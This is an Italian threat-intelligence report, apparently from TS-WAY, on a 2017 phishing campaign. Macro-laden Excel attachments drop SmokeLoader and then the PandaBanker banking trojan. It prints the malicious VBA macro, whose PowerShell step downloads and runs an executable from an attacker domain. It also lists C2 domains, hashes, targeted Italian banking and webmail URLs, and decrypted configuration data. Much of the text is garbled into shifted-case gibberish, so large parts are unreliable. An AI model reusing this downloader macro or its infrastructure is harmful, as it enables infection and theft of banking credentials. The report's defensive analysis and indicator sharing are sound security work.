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EXECUTIVE SUMMARY

Il Cyber Intelligence Operation Center (CIOC) di TS-WAY ha identificato una campagna 
malevola perpetrata attraverso messaggi di posta elettronica indirizzati a varie organizzazioni 
nazionali e dotati di allegati Excel malevoli.Ɖ!TTRAVERSOƉLlUTILIZZOƉDELLEƉfunzionalità “macro”, tali 
messaggi sono in grado di veicolare una variante del trojan bancario noto come PandaBanker. 
La campagna sembra avere confini molto ampi e la sua diffusione ha interessato una molteplicità 
di profili e settori operanti sul territorio Italiano.

)LƉ MALWAREƉ 0ANDA"ANKER�Ɖ ULTIMAƉ FASEƉ DELLlINFEZIONE�Ɖ CARATTERIZZATOƉ DALLlHASHƉ
039abb3bacbf5d337fc6a7e0f511135abf9b814ea6b46ec189f2082eb263fb4f, viene 
scaricato dal dominio “jitrenka;.=wz;.=cz” e utilizza 3 diversi domini come C2: 

F274AFF0B798[.]date
6E0F8DFF3547[.]loan
923F0F7ADA98[.]date

This paper in a nutshell:

• Il CIOC di TS-WAY ha identificato una campagna malevola diretta a veicolare una variante del
trojan bancario PandaBanker

• Il target, particolarmente ampio, è rappresentato da una pluralità di organizzazioni operanti
sul territorio italiano

• Il trojan viene diffuso via email attraverso diversi allegati contenenti macro con logiche
malevole
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TECHNICAL ANALYSIS

.ELL�AMBITOƉ DIƉ ATTIVIT¸Ɖ DIƉ 4HREATƉ )NTELLIGENCE�Ɖ TS-WAY ha identificato ALCUNE email malevolE 
con oggetto “avviso di pagamento” inviatE SIAƉDAƉINDIRIZZIƉEMAILƉTRADIZIONALIƉCHEƉDAƉ0%#Ɖ
PRESUMIBILMENTEƉCOMPROMESSE�

Molte altre email simili sono state tracciate nella giornata di lunedì 30 ottobre 2017 e 
sembrano prendere di mira soprattutto organizzazioni localizzate in Italia.



,lALLEGATO�Ɖ CONTRADDISTINTOƉ DALƉ NOMEƉ m����?����XLSnƉ EƉ DALLlHASHƉ 3(!���Ɖ
f5f5452e2d95cc58d06c3d2aa1a2b88719c6f60e6ee96cfc39317f7a99b3f18a contiene una
Macro ospitante la logica malevola.

Function hyppoleer()
bverumn = Array(temp, localappdata, appdata)
hyppoleer = bverumn(glenmaster(0, 2))
End Function

Function nanobool()
nanobool = cMd /cp + remobooster(1) + h + helihelii(1) + oniNTe + singafields(3) + ivE -N + 
VIUJHOOL��	Ɖ�ƉXE#Ɖ�ƉNASDAQA��	Ɖ�ƉY0Ɖ�ƉSADFURED��	Ɖ�ƉN$/ƉH)Ɖ�ƉOPELCARDSƉ�ƉDO[SLEEPƉ�����<[�][�][�]<Ɖ
F�O���BJECT���NEW�	Ɖ �<[�][�][�][�][�][�]<Ɖ F�T���SYST����WEBCLIE���EM���NT����NE�		���D���OW���NLOADFIL���E�	�Ɖ �
Left(Invisible, 3) + oke(’https://elenrgia.stream/modello’,’% + bverumn(glenmaster(0, 2)) + %. +
,EFT�EXELLENTƉ GOODS�Ɖ �	Ɖ �Ɖ �	]WHILE����	���<[�][�][�]<F�STAR���SS���TPROCE�	Ɖ ��Ɖ �
BVERUMN�GLENMASTER���Ɖ�		Ɖ�Ɖ��Ɖ�Ɖ,EFT�EXELLENTƉGOODS�Ɖ�	Ɖ�Ɖ�
End Function

Function fihyygol()
viujhool = Array(Now(), Minute(Now), Minute(Now), oPr -e)
sadfured = Array(Now(), ASS -Wi, Now())
opelcards = DDen 
NASDAQAƉ�Ɖ!RRAY�.OW�	�Ɖ-INUTE�.OW	�Ɖ.OW�	�Ɖ.OW�	�ƉU4IƉ"�Ɖ-INUTE�.OW	�Ɖ.OW�	�Ɖ.OW�		
helihelii = Array(Now(), eLL -N)
remobooster = Array(Now(), oweRS, Now(), Now())
singafields = Array(Now(), Now(), Now(), RaCt)
FIHYYGOLƉ�ƉPƉ�ƉREMOBOOSTER��	Ɖ�ƉHƉ�ƉHELIHELII��	Ɖ�ƉONI.4EƉ�ƉSINGAFIELDS��	Ɖ�ƉIV%Ɖ.Ɖ�ƉVIUJHOOL��	Ɖ�ƉXE#Ɖ
� NASDAQA��	Ɖ�ƉY0Ɖ�ƉSADFURED��	Ɖ�ƉN$/ƉH)Ɖ�ƉOPELCARDS
End Function

Sub Workbook_Open()
)FƉXL&LOORƉ�Ɖ�Ɖ4HEN



Come si evince dal codice, la macro effettua il download di un eseguibile 
da mHTTPS���ELENRGIA;�=STREAM�MODELLOnƉEƉLOƉESEGUEƉATTRAVERSOƉLlUSOƉDIƉ0OWERSHELL�

5LTERIORIƉ VARIANTIƉ DELƉ DOCUMENTOƉ %XCELƉ SONOƉ STATEƉ INDIVIDUATEƉ INƉ THEƉ WILD�Ɖ !LCUNIƉ DEGLIƉ hashƉ
OSSERVATI SONO presentI in appendice.

,lESEGUIBILEƉ INƉ QUESTIONEƉ HAƉ
HASHƉ c2f71253ec125dce0b72c3bc77ce972adb5dfec91ef00ee234c5a82116648d4b ed è 
una variante del payload conosciuto come Smokeloader�Ɖ !LƉ MOMENTOƉ DELLAƉ STESURAƉ DIƉ
QUESTOƉreport, il sample sembra avere una detection molto bassa da parte dei prodotti antivirus 
(8/67).

3MOKELOADER�ƉDOPOƉESSERSIƉGARANTITOƉLAƉPERSISTENZAƉATTRAVERSOƉLlAGGIUNTAƉDIƉUNAƉCHIAVEƉDIƉREGISTROƉ
INƉ (+%9?53%23<3OFTWARE<-ICROSOFT<7INDOWS<#URRENT6ERSION<0OLICIES<%XPLORER<2UN�Ɖ scarica 
edƉEsegueƉPandaBankerƉDALLlINDIRIZZOƉHTTP���JITRENKA;�=WZ;�=CZ�VES�EXE
(039abb3bacbf5d337fc6a7e0f511135abf9b814ea6b46ec189f2082eb263fb4f).

3HELLƉNANOBOOL�ƉXL$ATA"AR"ORDER.ONE
End If
End Sub
0RIVATEƉ&UNCTIONƉGLENMASTER�"Y6ALƉRAVAƉ!SƉ)NTEGER�Ɖ"Y6ALƉGEFƉ!SƉ)NTEGER	Ɖ!SƉ)NTEGER
Randomize
randomNumber = Int((gef - rava) * Rnd) + rava
glenmaster = randomNumber
End Function

Function montesura()
montesura = d /c
End Function
Function malkovecen()
MALKOVECENƉ�Ɖ,EFT�EXELLENTƉGOODS�Ɖ�	
End Function



0ANDA"ANKERƉ AƉ SUAƉ VOLTAƉ SIƉ GARANTISCEƉ LlAVVIOƉ AUTOMATICOƉ ATTRAVERSOƉ UNAƉ CHIAVEƉ DIƉ REGISTROƉ INƉ
m(+%9?53%23<3OFTWARE<-ICROSOFT<7INDOWS<#URRENT6ERSION<2UNmƉ EƉ SIƉ COPIAƉ INƉ
m�APPDATA�<!DOBE<!CROBAT<PLUGINREG�EXEn�Ɖ 5NAƉ VOLTAƉ INƉ ESECUZIONE� inietta il proprio codice 
ALLlINTERNOƉDELƉPROCESSOƉDIƉSISTEMAƉSVCHOST�EXEƉEƉPROSEGUEƉCONƉLlATTIVIT¸ƉMALEVOLA�

Il trojan presenta 3 domini come C2: 

F274AFF0B798[.]date
6E0F8DFF3547[.]loan
923F0F7ADA98[.]date

Il CIOC dopo una prima attività di analisi della minaccia ha evidenziato che il primo dei tre domini, 
NONƉRISULTAVAƉANCORAƉREGISTRATO�Ɖ(AƉQUINDIƉPROCEDUTOƉALLAƉREGISTRAZIONEƉDELLOƉSTESSOƉINDIRIZZANDOLOƉ
VERSOƉ UNAƉ INFRASTRUTTURAƉ DIƉ RACCOLTA�Ɖ CHEƉ HAƉ PERMESSOƉ LlINDIVIDUAZIONEƉ DELLEƉ VITTIMEƉ �SINKHOLE	�Ɖ
!LLlATTOƉ DELLAƉ STESURAƉ DIƉ QUESTOƉ REPORT�Ɖ sono più di 900 le organizzazioni uniche identificate 
come infette sul territorio nazionale.

RAPPRESENTAZIONEƉDELLlATTUALEƉDISTRIBUZIONEƉGEOGRAFICAƉDELLEƉVITTIME



!44)6)4!lƉ $)Ɖ -)4)'!:)/.%Ɖ Ɖ 3TEPƉ DAƉ SEGUIREƉ PERƉ
mettere in sicurezza i propri sistemi:

)NSERIREƉALLlINTERNOƉDELLAƉBLACKLISTƉPERIMETRALEƉIƉDOMINIƉCOMUNICATIƉNEGLIƉ)/#Ɖ�INDICATORIƉDIƉ
Compromissione)
4RACCIAREƉATTRAVERSOƉIƉPROPRIƉAPPARATIƉDIƉMONITORAGGIOƉDELLAƉRETEƉIƉCLIENTƉINFETTI�ƉEƉQUINDIƉPORLIƉ
offline
6ERIFICAREƉSEƉIƉSITIƉINTERNETƉTARGETƉDELƉMALWAREƉSONOƉSTATIƉACCEDUTI�ƉEƉPROCEDERE�ƉDAƉUNAƉ
DIVERSAƉPOSTAZIONE�ƉALƉcambio di password e alla eventuale disconnessione di sessioni attive 
e sospette
Bonificare i dispositivi infettiƉEƉMESSIƉOFFLINEƉINƉPRECEDENZA
Aggiornare i propri sistemi antivirus ed antimalware, ed effettuare scansioni sul proprio 
parco MACCHINEƉCIRCOSTANTEƉ�437!9ƉSTAƉFORNENDOƉSUPPORTOƉAƉSOFTWAREƉHOUSEƉANTIVIRUSƉPERƉ
RENDEREƉla minacciaƉMEGLIO identificabile)

Indicatori di Compromissione

Allegati XLS:Payload:
c2f71253ec125dce0b72c3bc77ce972adb5dfec91ef00ee234c5a82116648d4b (SmokeLoader)
039abb3bacbf5d337fc6a7e0f511135abf9b814ea6b46ec189f2082eb263fb4f (PandaBanker)

1.

2.

3.

4.
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Domini, URL ed IPv4:

elenrgia[.]stream|107.174.24[.]198
alitalio[.]review|107.174.206[.]89
jitrenka.wz[.]cz|185.64.219[.]6
https://elenrgia[.]stream/modello
saberstat[.]top

4ARGETƉDIƉINTERESSEƉDELL�ATTACCANTEƉ
,EƉSEGUENTIƉ52,�ƉESTRATTEƉDALLEƉCONFIGURAZIONIƉDELƉMALWAREƉ0ANDA"ANKER�ƉHANNOƉLAƉ
FUNZIONEƉDIƉATTIVAREƉILƉMALWAREƉSTESSOƉPERƉLAƉSOTTRAZIONEƉDELLEƉCREDENZIALIƉDELL�UTENTEƉ
VITTIMAƉINƉFASEƉDIƉLOGIN�

https://ib.mps.it/web/ib/login*
HTTPS���DIGITAL�MPS�IT�PRI�LOGIN�HOME?MOBILE�JSP

HTTPS���QWEB�QUERCIA�COM�DEUTSCHEBANK

https://corporate.bpergroup.net/eb/accesso.do*
https://www.inbiz.intesasanpaolo.com/portalEiam0/sma/login*
*inbiz.intesasanpaolo.com/scriptFvcv0*
https://www.inbank.it/*
https://core*.cedacri.it*
https://*h*.cedacri.it/hb/authentication/login.seam*
HTTPS���WWW�RELAXBANKING�IT�RELAXBANKING�ZK�ACCESS�RELAX"ANKING�ZUL

https://scrigno.popso.it/ihb/run*
https://scrigno.popso.it/ihb/run*
https://business.bnl.it/login*
https://bancopostaimpresaonline.poste.it*
https://www.credem.it*
https://banking*credem.it*
https://*unicredit.it*
https://*unicredit*.it*
https://*.cbibanking.it*
https://ib.cim-italia.it/eb/accesso.do*
https://ibbweb.tecmarket.it/Youbiz.Web/Security/Sec*

HTTP���JITRENKA�WZ;�=CZ�VES�EXE
F274AFF0B798[.]date
6E0F8DFF3547[.]loan
923F0F7ADA98[.]date



https://www2.csebo.it/webcontoc*
https://www2.csebo.it/webcontoc/movimentionlinelista*
https://www2.csebo.it/webcontoc/movimentionlinesaldo*
https://www2.csebo.it/webcontoc*login*
https://areariservata.bancamarche.it/wps/portal/login/*corporate*
https://areariservata.bancamarche.it/wps/myportal/selfbank*
https://youwebcard.bancopopolare.it*
https://youwebcard.bancopopolare.it*
https://youwebcard.bancopopolare.it*homePageRiepilogoConto.d*
https://youwebcard.bancopopolare.it*homePageSaldoMovimenti.d*
https://youwebcard.bancopopolare.it*saldoMovimenti.d*
https://youwebcard.bancopopolare.it*listaBeneficiari.d*
https://bancoposta.poste.it*
https://www.poste.it/myposte*
https://www.banking4you.it*
https://www.banking4you.it*
https://www.banking4you.it*
https://www.banking4you.it*
https://www.banking4you.it/mobile*
https://m.cassedellumbria.it/*
https://m.bancacrfirenze.it/*
https://m.caript.it/*
https://m.cariromagna.it/*
https://m.crveneto.it/*
https://m.carifvg.it/*
https://m.carisbo.it/*
https://m.bancodinapoli.it/*
https://m.intesasanpaolo.com/*
https://www.cassedellumbria.it/ib/*
https://www.bancacrfirenze.it/ib/*
https://www.caript.it/ib/*
https://www.cariromagna.it/ib/*
https://www.crveneto.it/ib/*
https://www.carifvg.it/ib/*



https://www.carisbo.it/ib/*
https://www.bancodinapoli.it/ib/*
https://www.intesasanpaolo.com/ib/*
https://www.cassedellumbria.it/script/*
https://www.bancacrfirenze.it/script/*
https://www.caript.it/script/*
https://www.cariromagna.it/script/*
https://www.crveneto.it/script/*
https://www.carifvg.it/script/*
https://www.carisbo.it/script/*
https://www.bancodinapoli.it/script/*
https://www.intesasanpaolo.com/script/*
https://www.cassedellumbria.it/script/*
https://www.bancacrfirenze.it/script/*
https://www.caript.it/script/*
https://www.cariromagna.it/script/*
https://www.crveneto.it/script/*
https://www.carifvg.it/script/*
https://www.carisbo.it/script/*
https://www.bancodinapoli.it/script/*
https://www.intesasanpaolo.com/script/*
https://www.cassedellumbria.it/script/*
https://www.bancacrfirenze.it/script/*
https://www.caript.it/script/*
https://www.cariromagna.it/script/*
https://www.crveneto.it/script/*
https://www.carifvg.it/script/*
https://www.carisbo.it/script/*
https://www.bancodinapoli.it/script/*
https://www.intesasanpaolo.com/script/*
https://www.cassedellumbria.it/script/*
https://www.bancacrfirenze.it/script/*
https://www.caript.it/script/*
https://www.cariromagna.it/script/*



https://www.crveneto.it/script/*
https://www.carifvg.it/script/*
https://www.carisbo.it/script/*
https://www.bancodinapoli.it/script/*
https://www.intesasanpaolo.com/script/*
https://www.cassedellumbria.it/*
https://www.bancacrfirenze.it/*
https://www.caript.it/*
https://www.cariromagna.it/*
https://www.crveneto.it/*
https://www.carifvg.it/*
HTTPS���WWW�CARISBO�IT�

HTTPS���WWW�BANCODINAPOLI�IT�

HTTPS���WWW�INTESASANPAOLO�COM�

ƉHTTPS���
�SCRIPT�3ERVIZI�?��

HTTPS���
�EMAIL�IT�WEBMAIL

HTTPS���ZIN�EMAIL�IT

HTTPS���
�GMX�NET�MAIL�CLIENT�FOLDE

HTTPS���MAIL�GOOGLE�

HTTPS���OUTLOOK�LIVE�

ƉHTTPS���
MAIL
�OWA�


�TIM�IT
-AIN


WEBMAIL�VIRGILIO�IT
-AIN


WEBMAIL�VIRGILIO�IT
#ONTACTS


MAIL�YAHOO�


�TISCALI�IT

Ɖ
�WEBMAIL�LIBERO�IT
-AIN


�WEBMAIL�LIBERO�IT
#ONTACTS

ƉHTTPS���MAIL�LIBERO�IT�APPSUI

Ɖ
�HORDE�IMP�MAILBOX�PH

ƉHTTPS���WEBMAI
�ARUBA�IT

HTTPS���WEBMAI
�PEC�IT




Configurazione del malware PandaBanker

2704818891307428393309301105750331704695077484428
9540690534490216712744556582780601322287178238876
1495880709242410821031077160423281160445134031728
7486762176642390030990106331475580561659397487516
3911498512963736430593577493836390088285543051048
9022314819266510571173973572176792341547465281498
4448197780403329149344956493167261949075480787814
4514759761554930632829889857686145887399884923475
8703397420985608944728587114377487499356102576906
3613185985392963266635924439158728932336426360405
6774391498625061943259400262745956441733779160817
5140487414003734592401056183468236925428916435406
55003182702248184296746878497, 65537

COMM?PUBLIC?KEY



0500050005000500e83f83a20500050001000000030000009e
b9074ca2d3891aa7edc7c20c4200959601d0e4166c594f2f44b2
83600c12309a7da3b8f7751917bfcd377ccb4e4f8b13948789b7
28e6630ea20965bb2d92b5f7e679891bb0757b4598561eea0a0
ddf1190d57a407f350a6eebcbe721236fe8429bf224b79eb9074c
a2d3891ad8edc3b07d4271e49077d0e4166c594f2f44b1886c10
022b9778bfb7f56a1d1bb0de3370df48508b139487891adb9cbb
ec4ba8c4b4d00ebbf2e603248f6cfa692376a6d12dbc060b7e723
c995646f149bcfad242b22e5dfb689633a46e9eb9074ca2d3891
ad7bac090756020c3e703ddeb1664575a2444b0966814063090
72b3b4f263070fa6cf3a71d25b4f8b13948789153a679bcf6900a
1ffc2e117ac57624ea5118114eb79bfad02ae1d2699dbca614b8c
ee97e79ef70da988d1f1d3a99921a563c2501ab8707c53a99b11
182dd3bc2c028d2b797df38ac51c0e5953f1663ceffff1c39548ae
89e8e2ed9635220adb0844ab644b03a7bfb201f13b5ba61c953c
9868cffa7e5b2fb1d9912ceec1d0bc0e3a021fdfd5385a98e9b233
5903f2fad7452717a90d6b383b9c28caffb301e90b7f6b3b19e30
b28f7366eb0501667e6e0bec58c1ec710dace68ac32d6201b213
29c7ac226d646feeae9f27af91d17d4fe237e0ced078904e02721
4466e5ddd583f969d470df94f975694f65dca6b494a1b3b6ca23
194f951f6be33e0aacd041e4e39257d5b6e909993c20796b7d5e
5fe2a01b7e23598686156ee6bfb3f3d539b6795f1300bf2926d2
25e4bbd24a21d678dd31470c2fca1ff52cbf0e3347d54b36c971c
26ec04ab496a9b3a82c741731bfae3003f68027dbc8cf2760d0f1
893c30820121300d06092a864886f70d01010105000382010e
0030820109028201007758bae938a9cada5cd17f5c4e67c63442
7466535ff3da1e7edf020241403b6effdd399ba56c12706a65390
f575813b7af80f1f922318016744fd0c54b8ad6e5fb545c559288
ec02096f25bcfdacce55b1c812c5b9cc3e601251d79042f919bb9
b65c1350dfbfb3984586d665a2e5b99fa267606007334c02c1be
b220dc857c868e60e19b86c0f55eabca3e1d75011c71c661f37cc
6847f7eb06f686e6b36a3876465f80cf9485c824f222d18f98731
3d43c84db70abbf131f55da47e5f8cefd1b5845ea1febb5772ef66

DECRYPTEDƉ?CONFIG



37af2e917a13c3a6d9e3d37df051a5d08c9e8e7dd595a90637f7
b0ee587faa6da38b7c16249b958d0fa40332fea451ff86d8058ab
c502030100012501000034372e6c6f616e2f636f6e662e64617
40039382e646174652f636f6e662e6461740031302e66616974
682f636f6e662e6461740039382e736974652f636f6e662e6461
7400009d37ab3ec3cce5031871f8d599d7702a6d83311a238d0f
0d86275ebc6b3a46000000000000000000000000

1506611274446330361414173393299438901182273658135
2813312415476982755824375524610078092970772250364
2247734787813272714911669944418952404603559867305
7298141821955063927263893171680405698472540124807
0189160690676771362195150554619174568800642367125
0466449997979483210350183385923615279799613687269
0559152750657221528893696395441287580306295633023
7897109977537386190947168007344771607738675347676
7442411485360179080874431116111437323231296449185
9660356537457607326793928997921393827540471999753
0465746912282892209272543340227601463953048420948
0445112275773007655802274137824525466667389322075
58308378204030833055902510021, 65537

https://F274AFF0B798[.]DATE��SIYWNEWIIMOMULWAYXGY�DAT
https://923F0F7ADA98[.]DATE��XEEGUHRUFOPIYCDEULAF�DAT
https://6e0f8dff3547[.]LOAN��FAACNOXYEHYSMUULTARY�DAT

PUBLIC?KEY

timestamp

urls

2017-10-30 15:05:23



TS-WAY
437!9Ɖ 3RLƉ ÀƉ UNlAZIENDAƉ AƉ CAPITALEƉ EƉ CONƉ PERSONALEƉ COMPLETAMENTEƉ )TALIANO�Ɖ SPECIALIZZATAƉ
NELLlEROGAZIONEƉDIƉSOLUZIONIƉEƉSERVIZIƉDIƉ#YBERƉ�4HREAT	Ɖ)NTELLIGENCEƉEƉSICUREZZAƉNONƉCONVENZIONALE�Ɖ
LAƉ CUIƉ -ISSIONƉ CONSISTEƉ NELLlIDENTIFICARE�Ɖ MONITORAREƉ EƉ TRACCIAREƉ MINACCEƉ CIBERNETICHEƉ
utilizzando un approccio preventivo e non convenzionale, che garantisca un quadro 
INFORMATIVOƉ STRATEGICOƉ EƉ PUNTUALEƉ AIƉ CLIENTIƉ EDƉ UNƉ SUPPORTOƉ DIƉ ÁLITEƉ PERƉ LlANALISIƉ EƉ LAƉ
contestualizzazione della minaccia cibernetica.. 

La base di clienti di TS-WAY include organizzazioni di primissimo piano in ambito sia Pubblico 
(Organizzazioni Governative, Militari e Forze di Polizia) che Privato (Infrastrutture critiche e 
Imprese).

TS-WAY è membro di realtà esclusive:

-EMBRIƉ DELLl%UROPEANƉ %LECTRONICƉ #RIMEƉ 4ASKƉ &ORCEƉ �%%#4&	. Iniziativa di 
knowledge sharing, fondata nel 2009 attraverso un agreement tra gli United 
States Secret Service, il Ministero degli Affari Interni e Poste Italiane. La 
MISSIONEƉÀƉQUELLAƉDIƉSUPPORTAREƉ LEƉATTIVIT¸ƉDIƉANALISIƉEƉDIƉSVILUPPAREƉ LEƉmBESTƉ
practices” per combattere il cyber crime nei paesi europei.

-EMBRIƉ PERMANENTIƉ DELLlORGANIZZAZIONEƉ 4RUSTEDƉ )NTRODUCER� realtà 
costituita dai CERT ed Incident Response Team Governativi Europei nel 
2000. Organizzato come gruppo di lavoro permanente� (a come mission 
QUELLAƉDIƉFAREƉDAƉGARANTEƉEƉCERTIFICATOREƉDIƉORGANIZZAZIONIƉPUBBLICHEƉEƉPRIVATEƉ
di elite operanti nel settore. www.trusted-introducer.org

,AƉ!RMEDƉ&ORCESƉ#OMMUNICATIONSƉANDƉ%LECTRONICSƉ!SSOCIATIONƉ�!&#%!	 è 
STATAƉ FONDATAƉ NELƉ �����Ɖ ÀƉ UNAƉ ASSOCIAZIONEƉ NOƉ PROFITƉ ALƉ SERVIZIOƉ DIƉ ENTIT¸Ɖ
militari, governative, industriali ed accademiche. www.afcearoma.it

Docenti nel Master di II livello in “Cyber Security and Data Protection” 
DELLl5NIVERSIT¸ƉDEGLIƉSTUDIƉDIƉ'ENOVA� con leadership nelle tematiche degli 
Advanced Persistent Threat (APT) e Cyber Intelligence. 
www.mastercybersecurity.it

CONTATTI: ƉWWW�TSWAY�COM – info@ts-way.com 


